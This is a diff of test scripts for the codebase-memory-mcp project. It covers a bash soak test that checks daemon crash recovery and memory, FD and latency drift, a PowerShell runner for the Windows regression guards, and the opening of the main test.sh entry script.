IDLE_CPU=$(ps -o %cpu= -p "$DAEMON_PID" 2>/dev/null | tr -d ' ' || true)
|
||||
echo "OK: idle daemon CPU=${IDLE_CPU:-unavailable}%"
|
||||
else
|
||||
echo "SKIP: idle daemon CPU is unavailable across the Windows PID boundary"
|
||||
fi
|
||||
|
||||
# ── Phase 4b: one-shot CLI admission churn ───────────────────────
|
||||
# Every `cli` one-shot is a complete daemon client cycle (connect → commit →
|
||||
# execute → close-intent → drain) against the SAME daemon the metrics sampler
|
||||
# is watching. The long-lived MCP session above never exercises that path, so
|
||||
# a per-admission leak in the accept/worker-finish cycle would be invisible
|
||||
# without this churn — it lands in the same RSS/FD analysis below.
|
||||
|
||||
echo "--- Phase 4b: CLI one-shot admission churn ---"
|
||||
CHURN_CYCLES=${SOAK_CLI_CHURN_CYCLES:-40}
|
||||
CHURN_FAILS=0
|
||||
churn_index=0
|
||||
while [ "$churn_index" -lt "$CHURN_CYCLES" ]; do
|
||||
if ! CBM_CACHE_DIR="$SOAK_CACHE_DIR_VALUE" "$BINARY" cli list_projects '{}' \
|
||||
>/dev/null 2>>"$RESULTS_DIR/cli-churn-stderr.log"; then
|
||||
CHURN_FAILS=$((CHURN_FAILS + 1))
|
||||
fi
|
||||
churn_index=$((churn_index + 1))
|
||||
done
|
||||
if [ "$CHURN_FAILS" -gt 0 ]; then
|
||||
echo "FAIL: $CHURN_FAILS of $CHURN_CYCLES one-shot CLI churn cycles failed"
|
||||
PASS=false
|
||||
else
|
||||
echo "OK: $CHURN_CYCLES one-shot CLI churn cycles recycled the live daemon"
|
||||
fi
|
||||
collect_snapshot
|
||||
|
||||
# ── Phase 5: Crash recovery test ────────────────────────────────
|
||||
# Skipped in query-leak mode: crash recovery re-indexes (Phase 5 calls
|
||||
# index_repository), which triggers cbm_mem_collect and would mask the #581
|
||||
# query-only leak the whole run is trying to surface.
|
||||
|
||||
if [ "$SKIP_CRASH" != "--skip-crash-test" ] && [ "$CBM_SOAK_MODE" != "query-leak" ]; then
|
||||
echo "--- Phase 5: crash recovery ---"
|
||||
|
||||
# Hand an indexing request to the frontend, then kill it without consuming
|
||||
# the response. The last-session disconnect must cancel session work and
|
||||
# let the account daemon terminate before a clean restart.
|
||||
DIAGNOSTICS_START_COUNT=$(diagnostics_start_count)
|
||||
DAEMON_STOP_COUNT=$(daemon_stop_count)
|
||||
DIAG_FILE_BEFORE_CRASH="$DIAG_FILE"
|
||||
crash_id=$QUERY_ID
|
||||
QUERY_ID=$((QUERY_ID + 1))
|
||||
echo "{\"jsonrpc\":\"2.0\",\"id\":$crash_id,\"method\":\"tools/call\",\"params\":{\"name\":\"index_repository\",\"arguments\":{\"repo_path\":$SOAK_PROJECT_JSON}}}" >&3
|
||||
sleep 0.1
|
||||
kill -9 "$SERVER_PID" 2>/dev/null || true
|
||||
wait "$SERVER_PID" 2>/dev/null || true
|
||||
SERVER_PID=""
|
||||
exec 3>&- 4<&-
|
||||
if ! wait_for_daemon_stop "$DAEMON_STOP_COUNT"; then
|
||||
echo "FAIL: last-session crash did not stop the shared daemon"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Restart server
|
||||
start_mcp_server append
|
||||
sleep 3
|
||||
|
||||
if kill -0 "$SERVER_PID" 2>/dev/null; then
|
||||
if ! wait_for_diagnostics_snapshot "$DIAGNOSTICS_START_COUNT" "$DIAG_FILE_BEFORE_CRASH"; then
|
||||
echo "FAIL: frontend restart did not start a fresh daemon diagnostics generation"
|
||||
exit 1
|
||||
fi
|
||||
echo "OK: server restarted after kill -9"
|
||||
if ! mcp_initialize; then
|
||||
echo "FAIL: restarted server did not complete initialize"
|
||||
PASS=false
|
||||
fi
|
||||
|
||||
# Verify clean re-index works
|
||||
mcp_call index_repository "{\"repo_path\":$SOAK_PROJECT_JSON}" || PASS=false
|
||||
if $PASS; then
|
||||
echo "OK: clean re-index after crash recovery"
|
||||
fi
|
||||
else
|
||||
echo "FAIL: server did not restart after kill -9"
|
||||
PASS=false
|
||||
fi
|
||||
fi
|
||||
|
||||
# ── Phase 6: Shutdown + analysis ─────────────────────────────────
|
||||
|
||||
echo "--- Phase 6: shutdown + analysis ---"
|
||||
FINAL_DAEMON_STOP_COUNT=$(daemon_stop_count)
|
||||
exec 3>&- # close server stdin → EOF → clean exit
|
||||
sleep 2
|
||||
exec 4<&- # close stdout reader
|
||||
kill "$SERVER_PID" 2>/dev/null || true
|
||||
wait "$SERVER_PID" 2>/dev/null || true
|
||||
SERVER_PID=""
|
||||
if ! wait_for_daemon_stop "$FINAL_DAEMON_STOP_COUNT"; then
|
||||
echo "FAIL: final frontend shutdown did not stop the shared daemon"
|
||||
PASS=false
|
||||
fi
|
||||
|
||||
# ── Analysis ─────────────────────────────────────────────────────
|
||||
|
||||
# Check 0: the analysis must have DATA. Snapshot collection silently
|
||||
# tolerates transient misses, so a run where diagnostics never materialized
|
||||
# used to sail through every check vacuously — the leak/FD/latency verdicts
|
||||
# below are only meaningful if most sampling attempts actually landed.
|
||||
SNAPSHOT_ROWS=$(($(wc -l < "$METRICS_CSV") - 1))
|
||||
if [ "$SNAPSHOT_ATTEMPTS" -gt 0 ] && [ $((SNAPSHOT_ROWS * 10)) -lt $((SNAPSHOT_ATTEMPTS * 6)) ]; then
|
||||
echo "FAIL: only ${SNAPSHOT_ROWS}/${SNAPSHOT_ATTEMPTS} snapshots collected — analysis would be vacuous" | tee -a "$SUMMARY"
|
||||
PASS=false
|
||||
fi
|
||||
|
||||
# Check 1: Memory leak detection via RSS trend
|
||||
# This is the primary leak detector on ALL platforms (including Windows
|
||||
# where LeakSanitizer is unavailable). Catches both linear leaks (slope)
|
||||
# and step-function leaks (first vs last comparison).
|
||||
TOTAL_SAMPLES=$(awk -F, 'NR>1 && $3>0 { n++ } END { print n+0 }' "$METRICS_CSV")
|
||||
MAX_RSS=$(awk -F, 'NR>1 && $3>0 { if ($3>max) max=$3 } END { printf "%.0f", max/1024/1024 }' "$METRICS_CSV")
|
||||
FIRST_RSS=$(awk -F, 'NR==2 && $3>0 { printf "%.0f", $3/1024/1024 }' "$METRICS_CSV")
|
||||
LAST_RSS=$(awk -F, '$3>0 { last=$3 } END { printf "%.0f", last/1024/1024 }' "$METRICS_CSV")
|
||||
echo "RSS: first=${FIRST_RSS}MB last=${LAST_RSS}MB max=${MAX_RSS}MB (${TOTAL_SAMPLES} samples)" | tee -a "$SUMMARY"
|
||||
|
||||
# Absolute ceiling — catches catastrophic leaks on any run length
|
||||
if [ "${MAX_RSS:-0}" -gt 200 ] 2>/dev/null; then
|
||||
echo "FAIL: RSS ${MAX_RSS}MB > 200MB ceiling" | tee -a "$SUMMARY"
|
||||
PASS=false
|
||||
fi
|
||||
|
||||
# Slope — informational for short runs, enforced only for runs >= 30 min
|
||||
# (10-min runs have too few post-warmup samples for reliable regression)
|
||||
RSS_SLOPE=$(awk -F, -v skip="$((TOTAL_SAMPLES / 5))" '
|
||||
NR>1 && $3>0 {
|
||||
row++
|
||||
if (row <= skip) next
|
||||
n++; x=$1; y=$3; sx+=x; sy+=y; sxx+=x*x; sxy+=x*y
|
||||
}
|
||||
END {
|
||||
if (n<5) { print 0; exit }
|
||||
slope = (n*sxy - sx*sy) / (n*sxx - sx*sx)
|
||||
printf "%.0f", slope * 3600 / 1024
|
||||
}' "$METRICS_CSV")
|
||||
echo "RSS slope (post-warmup): ${RSS_SLOPE} KB/hr" | tee -a "$SUMMARY"
|
||||
if [ "$DURATION_MIN" -ge 30 ] && [ "${RSS_SLOPE:-0}" -gt 500 ] 2>/dev/null; then
|
||||
echo "FAIL: RSS slope ${RSS_SLOPE} KB/hr > 500 KB/hr" | tee -a "$SUMMARY"
|
||||
PASS=false
|
||||
fi
|
||||
|
||||
# Check 1b: RSS ratio (last / first) — catches step-function leaks
|
||||
if [ "${FIRST_RSS:-0}" -gt 0 ] 2>/dev/null; then
|
||||
RSS_RATIO=$(awk "BEGIN { printf \"%.1f\", ${LAST_RSS} / ${FIRST_RSS} }")
|
||||
echo "RSS ratio (last/first): ${RSS_RATIO}x" | tee -a "$SUMMARY"
|
||||
if awk "BEGIN { exit (${LAST_RSS} / ${FIRST_RSS} > 3.0) ? 0 : 1 }" 2>/dev/null; then
|
||||
echo "FAIL: RSS grew ${RSS_RATIO}x (last=${LAST_RSS}MB vs first=${FIRST_RSS}MB)" | tee -a "$SUMMARY"
|
||||
PASS=false
|
||||
fi
|
||||
fi
|
||||
|
||||
# Check 2: FD drift
|
||||
FD_DRIFT=$(awk -F, 'NR>1 && $5>0 { if (!first) first=$5; last=$5 } END { print last-first }' "$METRICS_CSV")
|
||||
echo "FD drift: ${FD_DRIFT:-0}" | tee -a "$SUMMARY"
|
||||
if [ "${FD_DRIFT:-0}" -gt 20 ] 2>/dev/null; then
|
||||
echo "FAIL: FD drift ${FD_DRIFT} > 20" | tee -a "$SUMMARY"
|
||||
PASS=false
|
||||
fi
|
||||
|
||||
# Check 3: Idle daemon CPU (where the PID is host-addressable)
|
||||
if [ -n "$IDLE_CPU" ]; then
|
||||
# ps %cpu may carry a locale decimal comma; strip either separator.
|
||||
IDLE_INT=$(echo "$IDLE_CPU" | cut -d. -f1 | cut -d, -f1)
|
||||
echo "Idle daemon CPU: ${IDLE_CPU}%" | tee -a "$SUMMARY"
|
||||
if [ "${IDLE_INT:-0}" -gt 5 ] 2>/dev/null; then
|
||||
echo "FAIL: idle daemon CPU ${IDLE_CPU}% > 5%" | tee -a "$SUMMARY"
|
||||
PASS=false
|
||||
fi
|
||||
else
|
||||
echo "Idle daemon CPU: unavailable on Windows (not evaluated)" | tee -a "$SUMMARY"
|
||||
fi
|
||||
|
||||
# Check 4: Max query latency (exclude index_repository — indexing is legitimately slow)
|
||||
MAX_LATENCY=$(awk -F, 'NR>1 && $2!="index_repository" { if ($3>max) max=$3 } END { print max+0 }' "$LATENCY_CSV")
|
||||
MAX_INDEX=$(awk -F, 'NR>1 && $2=="index_repository" { if ($3>max) max=$3 } END { print max+0 }' "$LATENCY_CSV")
|
||||
echo "Max query latency: ${MAX_LATENCY}ms (index: ${MAX_INDEX}ms)" | tee -a "$SUMMARY"
|
||||
# 60s threshold — MSYS2/Wine adds significant overhead to all operations
|
||||
if [ "${MAX_LATENCY:-0}" -gt 60000 ] 2>/dev/null; then
|
||||
echo "FAIL: max query latency ${MAX_LATENCY}ms > 60s" | tee -a "$SUMMARY"
|
||||
PASS=false
|
||||
fi
|
||||
|
||||
# Check 5: Query count (sanity — should have many)
|
||||
TOTAL_QUERIES=$(awk -F, 'NR>1 { n++ } END { print n+0 }' "$LATENCY_CSV")
|
||||
echo "Total queries: $TOTAL_QUERIES" | tee -a "$SUMMARY"
|
||||
|
||||
# ── Cleanup ──────────────────────────────────────────────────────
|
||||
|
||||
soak_cleanup
|
||||
trap - EXIT INT TERM
|
||||
|
||||
echo ""
|
||||
if $PASS; then
|
||||
echo "=== soak-test: PASSED ===" | tee -a "$SUMMARY"
|
||||
else
|
||||
echo "=== soak-test: FAILED ===" | tee -a "$SUMMARY"
|
||||
exit 1
|
||||
fi
|
||||
@@ -0,0 +1,246 @@
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Run the native-Windows product-surface test suite for codebase-memory-mcp.
|
||||
|
||||
.DESCRIPTION
|
||||
Builds the product binary if it is not already present, stages it under its
|
||||
release name, then runs the deterministic Windows integration tests under
|
||||
tests/windows/ against it (real stdio / CLI / HTTP UI, real SQLite DB).
|
||||
Windows ships ONE binary, exactly like Linux and macOS.
|
||||
|
||||
Two categories of test:
|
||||
|
||||
GUARDS - regression guards for Windows bugs already fixed on main.
|
||||
They must stay GREEN (exit 0); a RED (exit 1) means the fix
|
||||
regressed and fails this runner.
|
||||
* test_non_ascii_path.py guards #636/#357 (fixed by #700)
|
||||
* test_non_ascii_cache_dump.py guards #996 (writer cbm_fopen)
|
||||
* test_hook_augment.py guards #618 (fixed by #619)
|
||||
* test_ui_drive_listing.py guards #548 (roots field)
|
||||
* test_cli_non_ascii_arg.py guards #423/#20 (wide-argv main())
|
||||
* test_daemon_stability.py guards the daemon parameter
|
||||
surface, crash recovery, busy-stop refusal, and churn
|
||||
* test_windows_update_handoff.py guards that `update`
|
||||
hands off to install.ps1 instead of replacing its own
|
||||
running image (the removed launcher stub's only job)
|
||||
|
||||
KNOWN REDS - genuine, still-open Windows bugs reproduced at the product
|
||||
surface. They are EXPECTED to be RED (exit 1) and are opt-in
|
||||
(never gate CI). If one turns GREEN the underlying bug was
|
||||
fixed and it should be promoted to a guard.
|
||||
* (none currently - test_cli_non_ascii_arg.py was promoted to a
|
||||
guard when the wide-argv fix for #423/#20 landed)
|
||||
|
||||
Indexing runs through the real supervisor -> worker spawn on every guard:
|
||||
under the mandatory coordination daemon CBM_INDEX_SUPERVISOR=0 is a
|
||||
fail-closed refusal seam, never an in-process fallback, so the old
|
||||
determinism override would turn every indexing guard into a refusal.
|
||||
|
||||
On native Windows the MinGW/LLVM toolchain ships no libasan/libubsan, so the
|
||||
build disables sanitizers (SANITIZE=). Where the toolchain provides
|
||||
AddressSanitizer/UBSan (Linux containers, WSL), prefer scripts/test.sh.
|
||||
|
||||
.PARAMETER Binary
|
||||
Path to an existing product executable. If omitted, the script builds it
|
||||
(target selected by -Target) into build/c/.
|
||||
|
||||
.PARAMETER Target
|
||||
Makefile.cbm target used when building: 'cbm-with-ui' (default; needed for the
|
||||
drive-picker guard's embedded HTTP UI) or 'cbm' (no UI - the drive guard then
|
||||
reports a precondition and is skipped).
|
||||
|
||||
.PARAMETER GuardsOnly
|
||||
Run only the green guards (the CI gate). Skips the opt-in known-red repros.
|
||||
|
||||
.PARAMETER Make
|
||||
Path to GNU make (default: 'make' on PATH; MSYS2 ships it at
|
||||
C:\msys64\usr\bin\make.exe).
|
||||
|
||||
.EXAMPLE
|
||||
pwsh -File scripts/test-windows.ps1
|
||||
.EXAMPLE
|
||||
pwsh -File scripts/test-windows.ps1 -GuardsOnly -Binary build\c\codebase-memory-mcp.exe
|
||||
#>
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[string]$Binary,
|
||||
[ValidateSet("cbm-with-ui", "cbm")]
|
||||
[string]$Target = "cbm-with-ui",
|
||||
[switch]$GuardsOnly,
|
||||
[string]$Make = "make"
|
||||
)
|
||||
|
||||
$ErrorActionPreference = "Stop"
|
||||
$repoRoot = Split-Path -Parent $PSScriptRoot
|
||||
Set-Location $repoRoot
|
||||
|
||||
$python = (Get-Command python -ErrorAction SilentlyContinue)
|
||||
if (-not $python) { $python = (Get-Command py -ErrorAction SilentlyContinue) }
|
||||
if (-not $python) { throw "Python 3 is required to run the Windows tests." }
|
||||
$py = $python.Source
|
||||
|
||||
# A writable Windows temp dir that GNU make forwards to the native gcc. MSYS2
|
||||
# strips TMP/TEMP from the environment it hands native children, so pass them as
|
||||
# make command-line variables (make exports those to recipe processes).
|
||||
$tmp = $env:TEMP
|
||||
if (-not $tmp) { $tmp = "$env:USERPROFILE\AppData\Local\Temp" }
|
||||
|
||||
function Resolve-Binary {
|
||||
param([string]$Explicit)
|
||||
if ($Explicit) { return (Resolve-Path $Explicit).Path }
|
||||
$built = Join-Path $repoRoot "build\c\codebase-memory-mcp.exe"
|
||||
if (Test-Path $built) { return $built }
|
||||
Write-Host "Building $Target via Makefile.cbm ..." -ForegroundColor Cyan
|
||||
& $Make "-j" "-f" "Makefile.cbm" $Target "SANITIZE=" "TMP=$tmp" "TEMP=$tmp" "TMPDIR=$tmp" | Out-Host
|
||||
$buildExit = $LASTEXITCODE
|
||||
if ($buildExit -ne 0) { throw "build failed (exit $buildExit)" }
|
||||
if (-not (Test-Path $built)) { throw "binary not produced at $built" }
|
||||
return $built
|
||||
}
|
||||
|
||||
$bin = Resolve-Binary -Explicit $Binary
|
||||
Write-Host "Binary: $bin" -ForegroundColor Green
|
||||
|
||||
$previousTemp = $env:TEMP
|
||||
$previousTmp = $env:TMP
|
||||
$previousTmpDir = $env:TMPDIR
|
||||
$guardRoot = $null
|
||||
try {
|
||||
$userProfile = [Environment]::GetFolderPath([Environment+SpecialFolder]::UserProfile)
|
||||
if (-not $userProfile) { throw "could not resolve the current user's profile directory" }
|
||||
$guardRoot = Join-Path $userProfile ("cbm-windows-guards-root-" + [guid]::NewGuid().ToString("N"))
|
||||
New-Item -ItemType Directory -Path $guardRoot | Out-Null
|
||||
|
||||
# GitHub-hosted runner profile children can inherit mutation-capable ACEs
|
||||
# even though the profile ancestry itself passes the bounded trust policy. Replace that inheritance before creating any executable or
|
||||
# Python temporary descendant. Use SIDs rather than localized account names.
|
||||
$currentSid = [System.Security.Principal.WindowsIdentity]::GetCurrent().User
|
||||
if (-not $currentSid) { throw "could not resolve the current user's SID" }
|
||||
$guardAcl = [System.Security.AccessControl.DirectorySecurity]::new()
|
||||
$guardAcl.SetOwner($currentSid)
|
||||
$guardAcl.SetAccessRuleProtection($true, $false)
|
||||
$guardRule = [System.Security.AccessControl.FileSystemAccessRule]::new(
|
||||
$currentSid,
|
||||
[System.Security.AccessControl.FileSystemRights]::FullControl,
|
||||
([System.Security.AccessControl.InheritanceFlags]::ContainerInherit -bor
|
||||
[System.Security.AccessControl.InheritanceFlags]::ObjectInherit),
|
||||
[System.Security.AccessControl.PropagationFlags]::None,
|
||||
[System.Security.AccessControl.AccessControlType]::Allow
|
||||
)
|
||||
$guardAcl.AddAccessRule($guardRule) | Out-Null
|
||||
Set-Acl -LiteralPath $guardRoot -AclObject $guardAcl
|
||||
|
||||
$guardBundle = Join-Path $guardRoot ("cbm-windows-guards-" + [guid]::NewGuid().ToString("N"))
|
||||
New-Item -ItemType Directory -Path $guardBundle | Out-Null
|
||||
$guardBin = Join-Path $guardBundle "codebase-memory-mcp.exe"
|
||||
Copy-Item -LiteralPath $bin -Destination $guardBin
|
||||
|
||||
# Ownership is never inherited on Windows: descendants created under the
|
||||
# hardened root by an admin-group token can default to the Administrators
|
||||
# SID, while the exe policy demands the exact current user as owner. Stamp
|
||||
# the current SID explicitly on everything staged here.
|
||||
foreach ($staged in @($guardBundle, $guardBin)) {
|
||||
$stagedAcl = Get-Acl -LiteralPath $staged
|
||||
$stagedAcl.SetOwner($currentSid)
|
||||
Set-Acl -LiteralPath $staged -AclObject $stagedAcl
|
||||
}
|
||||
Write-Host "Guard bundle: $guardBin" -ForegroundColor Green
|
||||
|
||||
# The guards deliberately reject GitHub's shared D:\a ancestry and the
|
||||
# hosted runner's inherited LocalAppData\Temp ACL. Keep staged fixtures and
|
||||
# Python-created descendants below the accepted profile ancestry.
|
||||
$env:TEMP = $guardRoot
|
||||
$env:TMP = $guardRoot
|
||||
$env:TMPDIR = $guardRoot
|
||||
$env:PYTHONUTF8 = "1" # encode argv/stdio as UTF-8
|
||||
|
||||
# Green regression guards - must stay GREEN (exit 0). RED (exit 1) = the fix for
|
||||
# the referenced issue regressed. The drive-picker guard needs the embedded HTTP
|
||||
# UI (build target cbm-with-ui); against a non-UI binary it reports a precondition
|
||||
# (exit 2) and is skipped rather than failed.
|
||||
$guards = @(
|
||||
"tests\windows\test_non_ascii_path.py",
|
||||
"tests\windows\test_non_ascii_cache_dump.py",
|
||||
"tests\windows\test_daemon_lifecycle.py",
|
||||
"tests\windows\test_daemon_stability.py",
|
||||
"tests\windows\test_hook_augment.py",
|
||||
"tests\windows\test_ui_drive_listing.py",
|
||||
"tests\windows\test_cli_non_ascii_arg.py",
|
||||
"tests\windows\test_windows_update_handoff.py"
|
||||
)
|
||||
|
||||
# Opt-in known-red repros - EXPECTED red (exit 1); never gate CI. Currently empty:
|
||||
# test_cli_non_ascii_arg.py was promoted to a guard when #423/#20's wide-argv fix landed.
|
||||
$knownReds = @()
|
||||
|
||||
$guardFailures = @()
|
||||
$guardSkips = @()
|
||||
$fixedKeepers = @()
|
||||
|
||||
Write-Host "`n--- Green guards ---" -ForegroundColor Cyan
|
||||
foreach ($t in $guards) {
|
||||
Write-Host "`n=== $t ===" -ForegroundColor Cyan
|
||||
& $py $t $guardBin
|
||||
$code = $LASTEXITCODE
|
||||
if ($code -eq 0) {
|
||||
Write-Host "GREEN ($t)" -ForegroundColor Green
|
||||
} elseif ($code -eq 1 -or $t -eq "tests\windows\test_windows_update_handoff.py") {
|
||||
Write-Host "RED ($t) - REGRESSION: a fixed Windows bug is broken again" -ForegroundColor Red
|
||||
$guardFailures += $t
|
||||
} elseif ($code -eq 2) {
|
||||
# Exit 2 is the guards' DOCUMENTED precondition-skip contract; every
|
||||
# other unexpected code (a crashed python, an access-violation status,
|
||||
# a mistyped guard) is a FAILURE - an uncontracted exit once let a
|
||||
# crashing guard read as an invisible skip under a green banner.
|
||||
Write-Host "PRECONDITION ($t) exit=2 - skipped (see message above)" -ForegroundColor Yellow
|
||||
$guardSkips += $t
|
||||
} else {
|
||||
Write-Host "FAILED ($t) exit=$code - crashed or exited outside the guard contract 0/1/2" -ForegroundColor Red
|
||||
$guardFailures += $t
|
||||
}
|
||||
}
|
||||
|
||||
if (-not $GuardsOnly) {
|
||||
Write-Host "`n--- Known reds (opt-in, expected red) ---" -ForegroundColor Cyan
|
||||
foreach ($t in $knownReds) {
|
||||
Write-Host "`n=== $t ===" -ForegroundColor Cyan
|
||||
& $py $t $guardBin
|
||||
$code = $LASTEXITCODE
|
||||
if ($code -eq 1) {
|
||||
Write-Host "RED ($t) - expected; the underlying Windows bug is still open" -ForegroundColor DarkYellow
|
||||
} elseif ($code -eq 0) {
|
||||
Write-Host "GREEN ($t) - the bug appears FIXED; promote this to a guard" -ForegroundColor Green
|
||||
$fixedKeepers += $t
|
||||
} else {
|
||||
Write-Host "PRECONDITION ($t) exit=$code - skipped (see message above)" -ForegroundColor Yellow
|
||||
}
|
||||
}
|
||||
}
|
||||
} finally {
|
||||
$env:TEMP = $previousTemp
|
||||
$env:TMP = $previousTmp
|
||||
$env:TMPDIR = $previousTmpDir
|
||||
if ($guardRoot) {
|
||||
Remove-Item -LiteralPath $guardRoot -Recurse -Force -ErrorAction SilentlyContinue
|
||||
}
|
||||
}
|
||||
|
||||
Write-Host ""
|
||||
if ($guardSkips.Count -gt 0) {
|
||||
Write-Host ("Guards skipped (precondition): {0} - e.g. the drive-picker guard " -f $guardSkips.Count) -ForegroundColor Yellow
|
||||
Write-Host "needs a UI build (-Target cbm-with-ui, the default)." -ForegroundColor Yellow
|
||||
}
|
||||
if ($fixedKeepers.Count -gt 0) {
|
||||
Write-Host ("Known-red repros that are now GREEN (promote to guards): {0}" -f ($fixedKeepers -join ", ")) -ForegroundColor Green
|
||||
}
|
||||
if ($guardSkips.Count -eq $guards.Count -and $guards.Count -gt 0) {
|
||||
Write-Host "FAIL: every guard skipped - nothing was actually verified" -ForegroundColor Red
|
||||
exit 1
|
||||
}
|
||||
if ($guardFailures.Count -gt 0) {
|
||||
Write-Host ("REGRESSION: {0} green guard(s) went red: {1}" -f $guardFailures.Count, ($guardFailures -join ", ")) -ForegroundColor Red
|
||||
Write-Host "A previously-fixed Windows bug is broken again (see the guard's docstring and its referenced issue)." -ForegroundColor Red
|
||||
exit 1
|
||||
}
|
||||
Write-Host "All Windows green guards passed." -ForegroundColor Green
|
||||
exit 0
|
||||
+285
@@ -0,0 +1,285 @@
|
||||
#!/usr/bin/env bash
|
||||
# test.sh — THE canonical test leg. Every venue (local ladder, PR CI, dry run,
|
||||
# release) runs tests through this file; iteration happens through its flags,
|
||||
# never through a second entry point.
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
|
||||
cd "$ROOT"
|
||||
|
||||
usage() {
|
||||
cat <<'EOF'
|
||||
Usage: scripts/test.sh [--suites LIST] [--arch ARCH] [VAR=VAL ...]
|
||||
|
||||
The canonical test entry: identical in local CI, PR CI, dry run and release.
|
||||
DEFAULT (no --suites) is exactly what CI runs: static contract checks
|
||||
(Step 0a-0j), a CLEAN sanitizer build, every suite via the parallel harness,
|
||||
then the prod-binary regression guards (Steps 4-6).
|
||||
|
||||
Modes:
|
||||
(default) The venue leg. Clean build (scripts/clean.sh) + all suites +
|
||||
all contract steps. This is the shape every gate runs.
|
||||
--suites LIST ITERATION mode: comma- or space-separated suite names, e.g.
|
||||
--suites daemon,daemon_ipc. Rebuilds the test-runner
|
||||
INCREMENTALLY (make dependency tracking, no clean) and runs
|
||||
only those suites — seconds, not minutes. Skips the contract
|
||||
steps and prod-binary guards; the full default run remains
|
||||
the merge gate. Suite names: build/c/test-runner --list-suites.
|
||||
--tsan ThreadSanitizer leg (data-race gate): builds and runs the
|
||||
widened TSan runner via make test-tsan — the same leg CI's
|
||||
tsan jobs and the compose test-tsan service run.
|
||||
|
||||
Options:
|
||||
--arch ARCH Force target arch (arm64 | x86_64), e.g. under Rosetta.
|
||||
-h, --help This text.
|
||||
|
||||
Make passthrough (VAR=VAL, forwarded verbatim):
|
||||
CC= CXX= Compiler override, e.g. CC=gcc-14 CXX=g++-14.
|
||||
BUILD_DIR= Build in an isolated directory (containers/sanitizer variants).
|
||||
SANITIZE= Override sanitizer flags. Platform defaults when unset:
|
||||
unix/CLANG64 use the Makefile's ASan+UBSan test flags;
|
||||
CLANGARM64 (Windows on ARM, no ASan runtime) gets CI's
|
||||
trap-UBSan set (-fsanitize=undefined -fsanitize-trap=undefined
|
||||
-fstack-protector-strong -fno-omit-frame-pointer) applied HERE
|
||||
so local and CI build identical test binaries. Pass SANITIZE=
|
||||
(empty) for a plain build when debugging a trap.
|
||||
|
||||
Environment:
|
||||
CBM_TEST_SEQUENTIAL=1 Single-process runner instead of the parallel harness.
|
||||
CBM_RUN_HANG_TEST=1 Opt-in C++ index-hang regression (#410, needs prod).
|
||||
CBM_NO_CCACHE=1 Disable the content-verified compiler cache.
|
||||
CBM_TEST_SHARD/_LEG Set by CI's sharded legs; leave unset locally.
|
||||
|
||||
Examples:
|
||||
scripts/test.sh # the full venue leg (what CI runs)
|
||||
scripts/test.sh --suites daemon_ipc # one suite, incremental, seconds
|
||||
scripts/test.sh --suites "arena hash_table" CC=clang CXX=clang++
|
||||
scripts/test.sh SANITIZE= --suites daemon_ipc # plain build for trap debugging
|
||||
EOF
|
||||
}
|
||||
|
||||
# Parse --help / --suites / --tsan / --arch before sourcing env.sh.
|
||||
# STRICT: an unknown flag or a stray word is an immediate usage error, never
|
||||
# silently swallowed — agents must know exactly what a run will do.
|
||||
SUITES=""
|
||||
TSAN=0
|
||||
prev_arg=""
|
||||
for arg in "$@"; do
|
||||
case "$arg" in
|
||||
-h|--help) usage; exit 0 ;;
|
||||
--tsan) :;;
|
||||
--suites) :;; # next arg is the value, handled below
|
||||
--suites=*) SUITES="${arg#--suites=}" ;;
|
||||
--arch) :;; # next arg is the value, handled below
|
||||
--arch=*) :;; # handled below
|
||||
-*)
|
||||
echo "test.sh: unknown option '$arg'. Please consult --help." >&2
|
||||
exit 2
|
||||
;;
|
||||
arm64|x86_64)
|
||||
if [[ "${prev_arg:-}" != "--arch" && "${prev_arg:-}" != "--suites" ]]; then
|
||||
echo "test.sh: unexpected argument '$arg' (did you mean --arch $arg?). Please consult --help." >&2
|
||||
exit 2
|
||||
fi
|
||||
;;
|
||||
*=*) :;; # VAR=VAL make passthrough, validated below
|
||||
*)
|
||||
if [[ "${prev_arg:-}" != "--suites" ]]; then
|
||||
echo "test.sh: unexpected argument '$arg'. Please consult --help." >&2
|
||||
exit 2
|
||||
fi
|
||||
;;
|
||||
esac
|
||||
prev_arg="$arg"
|
||||
done
|
||||
for arg in "$@"; do
|
||||
case "$arg" in
|
||||
--tsan) TSAN=1 ;;
|
||||
arm64|x86_64)
|
||||
if [[ "${prev_arg2:-}" == "--arch" ]]; then
|
||||
export CBM_ARCH="$arg"
|
||||
fi
|
||||
;;
|
||||
*)
|
||||
if [[ "${prev_arg2:-}" == "--suites" ]]; then
|
||||
SUITES="$arg"
|
||||
fi
|
||||
;;
|
||||
esac
|
||||
prev_arg2="$arg"
|
||||
done
|
||||
# Normalize comma separation to the runner's space-separated argv form.
|
||||
SUITES="${SUITES//,/ }"
|
||||
case "${prev_arg:-}" in
|
||||
--suites|--arch)
|
||||
echo "test.sh: '$prev_arg' needs a value. Please consult --help." >&2
|
||||
exit 2
|
||||
;;
|
||||
esac
|
||||
if [ "$TSAN" -eq 1 ] && [ -n "$SUITES" ]; then
|
||||
echo "test.sh: --tsan and --suites are separate modes (the TSan leg has its own suite set). Please consult --help." >&2
|
||||
exit 2
|
||||
fi
|
||||
prev_arg=""
|
||||
|
||||
# Also support --arch=value
|
||||
for arg in "$@"; do
|
||||
case "$arg" in
|
||||
--arch=*) export CBM_ARCH="${arg#--arch=}" ;;
|
||||
esac
|
||||
done
|
||||
|
||||
# shellcheck source=env.sh
|
||||
source "$ROOT/scripts/env.sh"
|
||||
# shellcheck source=path-safety.sh
|
||||
source "$ROOT/scripts/path-safety.sh"
|
||||
|
||||
# Forward CC/CXX and collect make-passthrough args. BUILD_DIR is honored for
|
||||
# the explicit target path below so containerized legs can build in their own
|
||||
# directory instead of clobbering the host's native build/c artifacts.
|
||||
# MAKE_ARGS is an ARRAY so a VAR=VAL whose value contains spaces (the
|
||||
# windows-11-arm leg passes SANITIZE with four flags) survives as ONE make
|
||||
# argument. The old string accumulation re-split it at every expansion and
|
||||
# make swallowed the second flag's leading -f as its makefile option.
|
||||
MAKE_ARGS=()
|
||||
BUILD_DIR="build/c"
|
||||
SANITIZE_GIVEN=0
|
||||
prev_arg=""
|
||||
for arg in "$@"; do
|
||||
case "$arg" in
|
||||
CC=*|CXX=*) export "${arg}" ;;
|
||||
--arch|--arch=*) ;; # already handled
|
||||
arm64|x86_64) ;; # already handled
|
||||
--tsan) ;; # already handled
|
||||
